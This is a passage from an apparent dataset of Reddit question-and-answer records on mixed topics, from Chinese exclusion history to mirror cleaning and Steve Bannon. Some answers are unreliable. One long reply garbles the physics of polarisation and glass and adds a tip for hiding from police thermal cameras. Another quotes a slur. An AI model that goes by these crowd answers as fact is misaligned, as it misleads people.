problems of older children, those costs need to be spread around to the people covered and the insurance becomes more expensive. \n\nOne way to deal with this is to charge workers covering adult children with a family plan more than workers only covering young children. An alternative (and functionally identical) way is to kick the adult children off and force them to buy a different plan, and that's the way we're doing it now. \n\nAfter all, there's no rule that says your parents can't pay for your insurance as an adult, though they likely won't because at some point you're supposed to become financially independent. These two facts (you use more healthcare as you age and adults need to pay for their own stuff) aren't the fault of insurance companies, but they do mean you eventually need to start shelling out for medical insurance. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2qoj6q", "title": "why does my female dog attempt to hump my leg when she's excited sometimes?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2qoj6q/eli5_why_does_my_female_dog_attempt_to_hump_my/", "answers": {"a_id": ["cn81xs1", "cn83gzv"], "score": [2, 2], "text": ["Something I can answer! Yay!\n\nThe reason dogs hump you is either \nA.) There showing dominace\nB.) There showing freindship\nC.) They want to do the do\n\n(Source: mammy is a dawg trainer)", "I understand the OP's question. Female dogs don't need to do the \"humping\" motion in nature so why is that in their instinct at all?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9w9r0o", "title": "What was the legal justification for the Chinese Exclusion Act, and how did anti-Chinese rhetoric develop to make passage of the Act acceptable?", "selftext": "The 1882 act specifically prohibited immigration of Chinese laborers, despite earlier open immigration policies.\n\nHow did a law targeting one specific nationality even pass? How did earlier state-level ordinances, like those in California, pave the way for larger national measures to restrict Chinese immigration/rights? Was this policy part of a larger pro-white/anti-minority social movement that included Jim Crow laws, and reservations/residential schools? Or was anti-Chinese sentiment different from other forms of discrimination?\n\nThanks in advance!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9w9r0o/what_was_the_legal_justification_for_the_chinese/", "answers": {"a_id": ["e9jnge4"], "score": [12], "text": ["My area of research deals almost exclusively to the Denver area. But I feel that the information I can share will shed at least some light on your question. Other Historians will likely be able to add more information than I provide here. The main sources I refer to here that deal with this subject are: 'Chinese emmigration into the United States 1850-1880' by Kil Young Zo, 'The Growth and Decline of Chinese Communities in the Rocky Mountain Region' by Rose Hum Lee, 'The Chinese In Colorado' by Gerald Rudolph, 'Asians in Colorado' by William Wei, and 'The Road to Chinese Exclusion: The Denver Riot,1880 Election and Rise of the West' by Liping Zhu. I also have read countless newspaper articles documenting early Pioneer Asian experiences and people.  \n\nAs you had mentioned in your question, California passed anti Chinese laws starting in the early 1850s. Europans  that had come to California had always looked at Asian pioneers with suspicion due to the vast differences in language and spiritual beliefs, but it was the labor issues that politicians used to champion the legal need for  exclusion. When a law was passed in California that barred an Asian person from testifying in court, and therefore preventing them from having any legal protection or defending themselves in the court, they started to travel deeper into the country in high numbers. It appears as though about 35,000 were moving North, North East, and East in the mid 1850s. They were dotted throughout the Rocky Mountains with small camps for placer mining and small Corrals set up to offer goods to people headed to California.  In the 1860s, with more Asians coming into the Country and the huge demand for labor in the new transcontinental railroad, labor tensions increased when Asians filled some of that need. Also their Community had grown bigger and stronger despite the outragous ordinances. The groups that would eventually become the \"Chinese Six Companies\"  had already formed and were growing in strength. In the Rockies European miners were running into Chinese miners (though they might have seen that the other way around) and prospectors would clash. By 1870, with the Continental Railroad completed, limited mining oportunities, and the conclusion of a bloody war over slavery, the competition for employment was high all over the country. From  California in the 1850s to the West in the 1860s, to throughout the Country during the 1870s, the call the \"Chinese must go\" was getting louder, and violent clashes escalated. The main complaint was that the Chinese were taking jobs that Europeans felt only Europans should have;  this sentiment was accompanied by accusations of \"heathenism\" (\"satanism\"  would be a proper modern day interperetation) and seduction of European youth and women through opium. Throughout this time the newspapers contain various stories of outrageous enequality shown to the Chinese pioneers, on one occasion a Chinese man is arrested for physically defending himself and in another \"boys\" shoot a Chinese man for fun and there is no repercussions whatsoever. During the 1870s in Colorado, there was an actual call for Asians to come to the Territory; here, railroads still needed building and mines still needed mining. Throughout the 70s our Asian population grew, holidays were shared together (Apparently Chinese New Year in lower downtown Denver was AWESOME), they traded with each other, Asians dominated the laundry business and the Asian community was credited with being one of the pillars of the gate to Colorado statehood. They were even encouraged to build a giant Joss house, which they did and its ruins still stand. They had their own towns in the mountains and worked  thier own claims, Children were born and families begun. \n\nThen came the election of 1880, the Anti Chinese position became a major topic and throughout 1880 the tone in Denver drastically changed. The Rocky Mountain News started printing virilunt articles about the Denver Chinese and by October Chinese in Denver were telling friends in other areas not to come here. Although both candidates were against immigration, Garfield was painted as being friendly to the Chinese.His rival, Hancock, had a campaign going from town to town with rallys and chants: \" The Chinese Must Go\". The month before the election a letter was \"found\" that \"proved\" Garfield was planning on recruiting Chinese labor that would take jobs away from Europeans. The letter was a fake, but it wasnt proven immidiately and rumors that the Chinese were going to swarm the country spread like wildfire. The week of the election there was a rally by torchlight in Denver and tension was at an all time high. the day after the rally a riot broke out in Denver that was decried across the nation. Garfield won the election but was assasinated the following year. During the time between the 1880 election and the exclusion act, the cry of \"the Chinese Must Go\" kept up, always with the same arguements about jobs, heathens, and opium. The Chinatown community in Denver was decimated. It did recover, but only to a certain extent.\n\n\nI hope some of that helped answer your question, and I am sure there is more that others can add but if you would like to know more about Asian history in Denver I recently started a website:\n\n_URL_0_\n\nI only have one post up so far, it is the account given by the Rocky Mountain News of the riot.  I added maps and pictures. My next posting will be soon and it will talk about the Joss house that was built and which you can see in one of the pictures in the riot article (\"Chinese headquarters\" with the blue flag). Also,one of the books I mentioned \"Chinese in Colorado\" by Gerald Rudolph is one that is super rare. you can only find it in a few select libraries and even then it has to stay on property. I made a PDF copy of the one thats held  in the western history reference section of the DPL and its available for download in the \"library\" section of my website. I hope to make pdf copies of Rose Hum Lee's and Kil Young Zo's  books available before New Year as they are rare as well.\n\nAgain, I hope I provided some worthwhile info, and if I can answer or clarify anything, please let me know."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.wewattarow.com"]]}
{"q_id": "2kk3qn", "title": "Is there a configuration for optical telescopes that works like the long baseline arrays used in radio astronomy? Could we use a relatively small fleet of Hubbles/Webbs across a small chunk of the solar system and resolve useful information from closer exoplanets for example?", "selftext": "Or does it not work like that with optics?\n\nI asked something like this as a follow-up question late on the Kepler AMA yesterday but they'd already packed up by then.\n\nI don't really understand how the long base line arrays do what they do tbh, or how it's related to wavelength etc. So this could be a totally daft question.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2kk3qn/is_there_a_configuration_for_optical_telescopes/", "answers": {"a_id": ["clm89dd", "clm9s09", "clma3bj", "clmalmm"], "score": [3, 13, 2, 4], "text": ["There is!\n\nThere have been a number of such facilities, with increasingly good specs, over the ages.  The [Wikipedia Article](_URL_0_) on the topic is surprisingly good.  \n\nMy knowledge of the topic is largely based in radio interferometry, so I'll leave the answering of your second question to an expert in the field, hopefully.", "Yes, the [Large Binocular Telescope](_URL_2_) is an optical interferometer. Or at least it plans to be, I think they have that part working now. [COAST](_URL_0_) is another one.\n\nI believe the biggest problem to overcome is that in order for an interferometer to work properly, the wavefronts have to be kept in sync. This isn't so hard (relatively speaking, it's still an engineering miracle IMO) with radio telescopes based on how they're designed and that the wavelengths are longer, but it's really tough for optical telescopes. (see this page on [aperture synthesis interferometry](_URL_1_)). But it IS possible in the optical wavelengths.\n\nThe BIG plan would be to put a fleet of optical telescopes in space and link them up as an interferometer, like you said. Then you could use lasers to keep the armada in line and have a **giant** effective diameter optical telescope which would allow you to revolutionize pretty much every field of astronomy, including exoplanets.\n\nThe first step would be to prove a space based interferometer would work, and [SIM](_URL_3_) was that first step, where you just have 2 telescopes in one spacecraft, so you don't have to deal with lining up multiple satellites. It got canceled though, so we'll have to wait longer for a space-based interferometer.\n\nThis will be the future of optical observing eventually though... it just might take us 100+ years unless you all convince Congress to give NASA more money.\n", "Optical interferometry is definitely possible, but difficult. In order to have a fleet of space based telescopes working as a an optical inteferometer, you would have to know the location of each telescope to a fraction of the wavelength you are observing. This is very difficult to accomplish in practice because of the short wavelengths of optical or near infrared light. ", "This is a complex question.\n\nFirst off, the reason that extremely long baseline interferometry is workable with radio waves is because of the length of the wavelengths and their period, both of which are fairly large. Which makes it possible to perform interferometry virtually using recorded signals, all you need is to measure the signals well enough and to keep track of the base stations and the recorded signal with a spatial and temporal precision sufficiently greater than the wavelength/period of the signals themselves. Which, for radio wavelengths in the centimeter range and frequencies in the gigahertz range is actually achievable with current computing equipment, high precision atomic clocks, etc.\n\nAt optical wavelengths that sort of digitized signal interferometry is not even remotely feasible. We have no way of recording the phase of optical light photons at a precision of terahertz frequencies, nor a way of recording the positions of telescopes with sub micron resolution across such huge expanses.\n\nBut we can do interferometry with actual light beams, though it's still a significant challenge and hasn't proved nearly as advantageous as the use of interferometry in radio science."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Astronomical_optical_interferometry"], ["http://en.wikipedia.org/wiki/Cambridge_Optical_Aperture_Synthesis_Telescope", "http://en.wikipedia.org/wiki/Aperture_synthesis", "http://en.wikipedia.org/wiki/Large_Binocular_Telescope", "http://en.wikipedia.org/wiki/Space_Interferometry_Mission"], [], []]}
{"q_id": "5j71jt", "title": "why does cleaning a mirror using a circular motion generate much fewer streaks than straight?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5j71jt/eli5why_does_cleaning_a_mirror_using_a_circular/", "answers": {"a_id": ["dbdv2wg", "dbe08zp", "dbe2doj", "dbe2ew7", "dbe3h2v", "dbe3wcb", "dbe590c", "dbejlrk", "dbeutjw", "dbevy4e"], "score": [57, 166, 215, 3, 33, 2, 2, 2, 3, 2], "text": ["Generally, when wiping in a circular motion you \"wipe\" the area of the mirror multiple times as you clean. With wiping straight, you make one pass and the leftover water or glass cleaner is what creates the streaks. By using a circular pattern you wipe the mirror multiple times, thus picking up any leftover water or cleaner, meaning less streaks!", "When you use circular wipes, it's a continuous streak. When you wipe in straight lines, you have to stop and wipe in the opposite direction, which will cause visible streaks\n", "These comments are close, but not quite right. Cloth is fibrous. There are microscopic valleys and ridges that allow some of the cleaner to be left behind with each stroke. Circular wiping minimizes what gets left behind because the ridges on the cloth are constantly overlapping the fluid left behind by the other fibers, and you are able to remove far more than single-directional wiping.\n\nFor the record, you should also sand in this manner. You will get a smoother, more even finish in much less time.\n\nEdit: got it, not with wood. My answer was based on my more extensive experience as an autobody tech than my limited experience as a woodworker. Thank you all for being gentle with your corrections.", "I don't think it matters. I get good results vertical and horizontal wiping with vinegar and newspaper on mirrors. Nothing seems to work on car windows, though. A little fog and all kinds of streaks come through no matter what technique or materials I just used.", "While the other comments are correct, someone mentioned sanding.  Be careful when sanding wood or washing your car with circular motions, because any scratching that's done (sanding wood or if you get any grit in your sponge/cloth when washing), will also be in a circular shape.\n\nCircular scratches are visible from any angle, whereas if you sand wood or wash the car with straight motions, a scratch will usually only be visible from a perpendicular angle to the scratch.", "I'm not entirely sure either way works best. What I do immediately after I get any marks off is flip the paper towel around so the dry side is facing the mirror. After wiping everything with the dry side you should see no streaks and have a clear mirror!", "Get a pizza crust, some sauce, and a ladle or spoon. I want you to spread the sauce from side to side, then try again except with circular motions.", "I don't know if it does, window cleaner here, use a propper scrim cloth and you won't get any streaks,  we use this type of cloth to clean glass with a lead design over it, which u can't use a squeegee on. You could effectively clean all your Windows with this cloth using any motion and it wouldn't make a difference. It would take a long time though.", "Simplified: (It's how I understand it best)\n\nFor ease of understanding let's just say you're looking at the glass at 90^^O to it's plane. And you're both upright.\n\nYou can see all the light coming through the glass when it's PERFECTLY clean.\n\nNow. Let's say you wipe the glass in only one dimension. Up-down. And only on the inside (more on this later).\n\nNow you see the light coming through the glass PLUS light bent through any pollution on the glass. (Streaks).\n\n\"But what had this to do with polarisation?\"\n\nPolarisation is the posh word for the angle of the light. Some  is up down, some left to right, some diagonal sets.\n\nIf you go up-down you'd see a few streaks BUT only those guided through the pollution in the window and ONLY those that guided the light to your eyes.\n\n\nNow. Light Is a funny old thing. It is both a particle AND a wave. If light was ONLY a particle we'd be stuck here. But because it's a wave we have an answer to the streak thing. (It's also why lasers \"cut\" things even though they have no mass.) \n\nImagine the glass, not as solid but as bars of glass all mixed up. Up, down etc. Light \"waves\" come through the glass AND then streaks towards you.\n\nNow that the science bit is done, into the reasoning;\n\nGo up- down and you create HUNDREDS of streaks BUT you only see the one or two aiming light DIRECTLY at you. If you angle your head and change your position you see LOTS more over time. It's why motherfuckers come in and say \"you miss a bit\". Of course you missed Bit. You missed fucking LOADS but you weren't in the newcomers position so you \"missed\" them.\n\nNow. Go in circles and you will ALWAYS find streaks. So will everyone else.\n\nSo, why up down inside and side to side outside? partly because you know which side of the glass a streak uson and oddlry dor that, if you are REALLY unlucky to get Streak inside and one outside positioned directly over each other, you can see them. \n\nImagine cleaning a streak you find, only for it NOT to go away. You clean it and stand backback. It's STILL there. Clean again. Still there. What you DON'T know Is that it's an optical illusion created be a streak outside.\n\nPro Tip: polarised glasses. They have navy uses. Including [sung what others can't] (_URL_0_). Like under water with reflected light. (see above waffle about light angles)\n\nFun fact: glass is NOT transparent. It's blue-green. Look at it side on through a plane. \"More proof!\" I hear you cry. Ok. You can hide your thermal signature (A type of light wave) be standing behind glass (or other solid object). If you're checked by police helicopters, go stand in a gym. The FLIR Canberra can't see you and you have a reason Rio assist sweaty to the ~~military~~ police.\n\n\"more proof!\" Ok. Do you have a drinking glass, set of spectacles, or other small glass object? Hold it up to sunlight and look at it's shadow... I'll give you a moment here. Its \"shadow\". A transparent, see-through object is casting a shadow. It's because if that pesky polarisation I mentioned.\n\n(P.s. I advise looking into this. YouTube is your friend. I say this because I have certain mental health issues. I can understand something and work with it, FULLY understanding and fully knowing it's properties, but I can't explain it. My best analogy is magnets. You know they havemagnetic fields right. and you know their properties but... Magnets, obese tell me now; how the Fuck do they \"work\")\n\nI hope this explains things better and I know this is like saying \"just because\" to a kid who just asked \"hire do bumblebees fly?\"\n\nSorry.\n\nHTH.\n\nP.s. Seriously, YouTube and Google are fantastic sources of knowledge. Just... Fact check.", "Professional windows cleaner.    We scrub the surface using a microfiber scrubbing tool.    The tool is dipped in sunlight dishwashing soap.    Once scrubbed, the edge of the glass close to the frame gets rubbed with a damp towel.    This removes excess moisture that could turn to running drops.    Then the whole window gets squeegged and then we use an animal chamois to rub all the edges again.    If you follow this procedure you will never get streaks.    Never.   Period.    You do have to learn how to use a squeegee.   \n\nA chamois is the skin of an animal which has natural oils.    Makes a huge difference in window cleaning.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["https://youtu.be/MNbg4Go8NR0"], []]}
{"q_id": "86q01x", "title": "How does the electrical conductivity of plasma compare to typical conductors, say, copper or aluminum?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/86q01x/how_does_the_electrical_conductivity_of_plasma/", "answers": {"a_id": ["dw738g2", "dw7jff3"], "score": [7, 2], "text": ["One of the problems with measuring the resistance of a plasma is that it has a negative slope of the VI curve. Basically a negative resistance. Raise the current through the plasma and its voltage difference drops!\n\nSee this on [Arc Discharges](_URL_0_).\n\n > An electric arc has a non-linear relationship between current and voltage. Once the arc is established (either by progression from a glow discharge[10] or by momentarily touching the electrodes then separating them), increased current results in a lower voltage between the arc terminals. This negative resistance effect requires that some positive form of impedance (as an electrical ballast) be placed in the circuit to maintain a stable arc. This property is the reason uncontrolled electrical arcs in apparatus become so destructive, since once initiated, an arc will draw more and more current from a fixed-voltage supply until the apparatus is destroyed.\n\nIn this respect a plasma is totally different than a metal, which has positive resistance.", "The electrical conductivity of a plasma depends on a lot of things, like the number density of charged particles, the degree of ionization, whether or not the plasma is magnetized, etc.\n\nFor the simplest case, a cold and weakly-ionized plasma, the conductivity tensor is worked out from the Langevin equation [here](_URL_0_).\n\nYou can plug in typical values for the plasma you\u2019re interested in and estimate what the conductivity will be in that case."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Electric_arc"], ["http://physics.muni.cz/~dorian/Soucek_Difuze.pdf"]]}
{"q_id": "1k3jwm", "title": "everyone says that if pakistan and india go to war, there will be global consequences. what are they?", "selftext": "Obviously there is the loss of life but beyond that, I don't see us getting involved although I am not familiar with Americas policy for the region.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1k3jwm/eli5_everyone_says_that_if_pakistan_and_india_go/", "answers": {"a_id": ["cbl00q0", "cbl01ew", "cbl0235", "cbl0hth", "cbl14sl", "cbl7wid"], "score": [2, 16, 2, 23, 2, 4], "text": ["Well they both have nukes ", "Both have nuclear weapons and would probably use them if faced with an existential  threat such as actually losing a conventional war to their deadly enemy.\n\nThe rest of the world has an interest in avoiding a nuclear war, wouldn't you say?", "It would cause  wide spread destabilization of that entire region, and along with it, every market that relies on that region, including our own.  If their economy crashes, ours will also feel the effects, possibly resulting in a further depression.  It could also cause larger superpowers to begin struggling for resources now available through shifting political alignments.  This could lead to escalated tensions in other parts of the world.  With economies in jeopardy and the top dog position on the line, larger wars are possible.  Not to mention the nuclear weapons they both have.  ", "Tech support would be impossible to reach.", "Both sides have nukes.  If any other country's citizens die due to that, that COULD be an act of war.  So now its between India, Pakistan, and \"X,\" (X being the home country of dead citizens).  \n\nBoth sides also have international sweethearts; the rest of the world's powers tend to support one or the other.  It could possibly set off proxy wars between nations that have no business being anywhere near that word.  ", "China would go to war with India if the state of Pakistan was threatened by existential annihilation. China will intervene because if India conquer or annexed or effectively subdued Pakistan, then India will emerge as the undisputed hegemon of the subcontinent."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "6hetpa", "title": "If we had not reduced our production of Ozone depleting gases but had stayed on a \"business as usual\" scenario, how bad would the UV radiation problem be by now?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6hetpa/if_we_had_not_reduced_our_production_of_ozone/", "answers": {"a_id": ["diz1fr5"], "score": [7], "text": ["No one knows for sure.  We only have one planet, and we didn't run that particular experiment on it.\n\nWhat we *do* have are mathematical models designed to emulate the Earth's atmosphere and predict the long term effects of **X**, where X is CFCs, or CO2, or some other cause du jour.\n\nHere's something from NASA discussing what the models say might have come to pass.:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://earthobservatory.nasa.gov/Features/WorldWithoutOzone/page2.php"]]}
{"q_id": "14mjeg", "title": "Why has Christianity been such a failure in the Middle East?", "selftext": "I find it odd that the birthplace of Christianity, the Levant, and many of the other areas prominent in the Bible, such as Egypt, Iraq, Damascus, and Ephesus--among others--are and have been Muslim for ages. Israel is of course Jewish. \n\nI ask you, historians, to assist me in untangling the history and politics of this. But I also ask, why did so many Christians abandon their faith over the centuries for Islam?\n\nIn addition, could this help us analogously understand why many abandoned paganism (and Judaism) for Christianity during and after the fall of the Roman Empire?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/14mjeg/why_has_christianity_been_such_a_failure_in_the/", "answers": {"a_id": ["c7egsk8", "c7eh47n", "c7ehepe", "c7ekd5i"], "score": [15, 36, 4, 3], "text": ["Actually the Middle east has a pretty strong Christian presence in the orthodox christianity more specific [Oriental Orthodox Church](_URL_0_) which has coexisted with Islam quite peacefully. \n\n\nIt is true that it's stronger today in places like Armenia and Ethiopia but historically it was a rather important religion of the area.", "As a Christian living in Lebanon, I would like to remind you that it hasn't been \"such a failure.\" There are very strong Christian communities in Lebanon, Egypt and Syria. Estimates are that Christians make up 5% of the Middle East population [source](_URL_0_). It was at 20% just a century ago. The easiest explanation of the drop from 20% to 5% is the mass migration of Arab Christians out of the Middle East, and the much higher birth rates of Muslims than Christians in the Middle East.  An interesting statistic of the mass migration of Christians out of the Middle East is that 63% of Arabs in the USA are Christian.\n\nIf we look at the 20% that used to make up the Christian Middle East population its quite impressive especially if the poll includes the entire Middle East, much of which (Saudi Arabia, the Gulf States) had never had a large Christians presence.\n\nFor your question on \"why so many Christians abandoned their faith over the centuries for Islam.\" I think this is rather a misinformed question. The question proposes the idea that the Middle East had a large majority of the Christians, which is not true in much of the area. \n\nAnd for your last question I may not be the most informed, but to my knowledge many people turned away from paganism to Christianity during the Roman Empire because of the benefits of being a Christian as well as the pressure to convert.", "It was the majority religion in the Levant and Egypt up until the the 13th Century. Under the Fatimids, who were Shi'ia, the Coptic Christians were given significant rights because the alternative was to have the Shi'ia Caliphate overthrown by a Sunni one.\n\nJust prior to the Crusades, there were massive population exchanges. Most of the Levant was depopulated by constant warfare and serious raids by Seljuk Turks. When the Crusaders arrived, they firstly went to work appropriating several Christian dominions (e.g. the County of Edessa) and importing displaced Christians.\n\nChristianity in Cilicia was dominant up until the Armenian Genocide in the early 20th Century. Parts of those regions would have likely defected to form a new Armenian state and leave the Turkish Rump state isolated, so the Young Turks committed genocide.", "It's not really reasonable to say that the Middle East is the birthplace of Christiniaty. It's the birthplace of Jesus, sure, but that's not the same as the religion known as Christianity.\n\nThe Roman Empire was the birthplace of the early organized Christianity, and it's much more reasonable to select Rome as the center of Christian faith. Obviously, Christianity has been a tremendous success there.\n\nAlso, you seem to imply that the Bible is an exclusively \"Christian\" work. However, a lot of the place that you're describing are mentioned in the Old Testament, which is effectively shared among all Abrahamic religions. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Oriental_Orthodox"], ["http://www.bbc.co.uk/news/world-middle-east-11509256"], [], []]}
{"q_id": "1pifys", "title": "What's the closest anyone's ever come to actually saving the world?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1pifys/whats_the_closest_anyones_ever_come_to_actually/", "answers": {"a_id": ["cd2pmkv"], "score": [2], "text": ["I'm going to say Presidents Truman and Eisenhower. Not for anything for they did in WW2 but for what they did with regards to nuclear weapons. The decision by both not to use the bomb as part of \"conventional warfare\". Truman stopped after Hiroshima and Nagasaki and Eisenhower decide against their use in Southeast Asia and Korea. \n\nWithout speculating too much, without this precedent, the atomic bomb may have been used as a just another conventional weapon of war and caused an unprecedented number of casualties. In this sense, they saved the world. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5r2bhm", "title": "why is steve bannon so hated?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5r2bhm/eli5why_is_steve_bannon_so_hated/", "answers": {"a_id": ["dd3v6ht", "dd3ww5o", "dd3x3q4", "dd3y1h9"], "score": [6, 2, 2, 3], "text": ["I can't answer for why everyone else hates him but this quote alone is enough for me:\n\n\u201cThat\u2019s one of the unintended consequences of the women\u2019s liberation movement\u2013\u2013that, in fact, the women that would lead this country would be feminine, they would be pro-family, they would have husbands, they would love their children. They wouldn\u2019t be a bunch of dykes that came from the 7 Sisters schools.\u201d\n\nHe has also openly stated that he wants to completely dismantle our government, and his views do not support the idea that he would rebuild it to suit all American citizens.  \n\n", "It seems that you understand why he is hated, but you believe that the level of animus directed at him is unwarranted.  Given that, you might want to try posting this somewhere like /r/changemyview or another sub that will allow you to get into a more in-depth discussion about the merits of that position. ", "Breitbart isn't a right-wing news org.  Breitbart is a far-right *extremist* news org.  It is  the mouthpiece of racists and white supremacists in America.  Breitbart hosts content that is radically racist, anti-Muslim, anti-immigrant, and anti-climate change, while supporting white nationalism.   And this person is now a key member of our government.", "I found this post by /u/hetellsitlikeitis quite convincing: \n\n_URL_4_\n\n\n\n\n\n\"If you want a look at *who* this man *really* is, consult here:\n\n_URL_1_\n\nDon't just read the summaries, either; pick *any* of the documents and read it end-to-end. \n\nDo you want to read about Steve Bannon choking his wife, attacking her when she called the police, then sending his attorney to scare her away from testifying against him in criminal court? It's in here: [bannondivorce1](_URL_3_).\n\nDo you want to read about \"totally not an anti-Semite\" Steve Bannon interrogating his wife as to what % of her daughter's school are Jews? Or would you prefer to read affidavits from the heads of schools in which his ex-wife tried to enroll their daughters? What might they say? Would it *surprise* you if they say he threatened to *sue* not only the *school* but also, separately, the school director...unless they did *not* admit his daughters (very unusual and memorable, that: usually you threaten to sue *unless* they get in, no..)? You can read some, here: [bannonschool4](_URL_0_). \n\nOr do you want to hear about the time he told his 4 year-old daughter her mother was never coming back home, because her mother didn't love her? Or when he violently spanked his fifteen-*month* old daughter and called his ex-wife crazy for intervening? [bannondivorce6](_URL_2_)\n\nNote this is just *one* nexus of his personal life...there are others.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://theopporeport.files.wordpress.com/2016/12/bannonschool4.pdf", "https://theopporeport.com/2016/12/02/the-bannon-files-divorce-records-reveal-marital-discord-and-questionable-parenting/", "https://theopporeport.files.wordpress.com/2016/12/bannondivorce6.pdf", "https://theopporeport.files.wordpress.com/2016/12/bannondivorce1watermark.pdf", "https://www.reddit.com/r/politics/comments/5qubcp/donald_trump_replaces_military_chief_on_national/dd29fpm"]]}
{"q_id": "5ofx5f", "title": "what stops people from starting religions with ritualistic drug ceremonies (like the ayahuasca ceremonies of native americans) where the government must let them have an illegal substance due to religious rights?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5ofx5f/eli5_what_stops_people_from_starting_religions/", "answers": {"a_id": ["dcj11aj", "dcj19dz", "dcj1mfw", "dcj864s", "dcjd31g"], "score": [5, 16, 2, 3, 2], "text": ["The concept of religious freedom isn't absolute.  People are subject to largely the same laws regardless of religion and using your religion as a justification for doing something illegal doesn't give you a pass.  There are examples that contradict this to an extent, but on a basic level starting a religion doesn't get you excused from the vast majority of federal laws.\n\nReligious freedom is more about your freedom to have belief without being prosecuted for simply having those beliefs.  But if those beliefs involve illegal practices and you move from believing in it to putting it into practice, then you are still usually breaking the law.\n\nEdit: Also, I'm not a law expert so I might be very wrong, but I believe that Native Americans living on a reservation have a greater amount of autonomy than you'll see anywhere else, so those are special circumstances.", " > the government must let them have an illegal substance due to religious rights\n\nThat is not true. Claiming that something is a religious ritual does not mean the government automatically has to let you do it. Those laws that make otherwise-illegal substances legal for religious use are carefully and specifically crafted for each individual drug/practice.\n\nIn fact the Supreme Court had ruled that peyote use was not protected under the American Indian Religious Freedom Act, which prompted Congress to pass amendments to the Act which specifically addressed peyote.", "I may be ignorant but I've never heard of native Americans using ayahuasca. That's usually a South American shaman sort of deal. I have heard of Native Americans using peyote in ceremonies tho. ", "I have friends who use Ayahuasca in the USA as part of their affiliation with a South American religion. They had to present to the Supreme court to prove their case, basically to prove they were a real religion and not just some folks wanting to trip out on drugs. They met for years in their ceremonies drinking only water, until their beloved Aya was given a green card. ", "The way the exemptions for illegal substances work for religious purposes is that your religion has to prove that the use of the substance is a vital part of a well established ritual. This is done on a case by case basis with any religion claiming use of a substance. You inventing a new religion would by definition not be well established and so would not be granted the exemption. And this is after you have gained religious status for your religion and move beyond being classified as a cult. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "5qqyl0", "title": "what is the point of this usb adapter?", "selftext": "_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5qqyl0/eli5_what_is_the_point_of_this_usb_adapter/", "answers": {"a_id": ["dd1d7m1", "dd1dbpx", "dd1ifzz"], "score": [6, 2, 2], "text": ["Maybe if you have a USB that won't quite fit into the plug for one reason or another?\n\nI've had it happen where a cord is bulky at the connection and my USB area is crowded, I guess if you want to ensure a tight fit this might come in handy as a small extender.", "I suppose you could use it as a standoff if you needed more distance from the port. Sort of like a [motherboard standoff screw](_URL_0_).\n\nOtherwise I'm not certain what the market would be.", "As someone who builds my own PC rig, they're a godsend.\n\nThe more builds you create, the more you realise that the motherboard sockets and the sockets provided by the tower/case don't fit perfectly. Most of the time they're out by a millimetre making it extremely difficult to remove any plug.\n\nAdapters like these allow you to wedge it in there and gives you the freedom to remove and plug in devices and accessories at will."]}, "title_urls": [], "selftext_urls": ["http://www.ebay.co.uk/itm/5pcs-PACK-Male-to-Female-Type-A-USB-2-0-Adapter-Converter-Changer-/282128111177?hash=item41b0255649:g:aPsAAOSwV0RXqOcd"], "answers_urls": [[], ["http://img1.shopimg.ca/content/zoom/21925165_main_zoom.jpeg"], []]}
{"q_id": "6ocklu", "title": "why are closed circulatory systems a thing if open circulatory systems seem to be much safer? no veins to be cut, no arteries to be clogged, and no internal bleeding that could happen.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ocklu/eli5_why_are_closed_circulatory_systems_a_thing/", "answers": {"a_id": ["dkgfw41"], "score": [5], "text": ["A closed circulatory system is much better for oxygen delivery especially for larger organisms. \nThe high pressure blood is like an oxygen highway as opposed to the local roads of an open system   \nMost of the things that have an open system are either small or slow.  \nYou won't find any animals with open systems that are the size of an Orca whale and capable of accelerating rapidly.   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
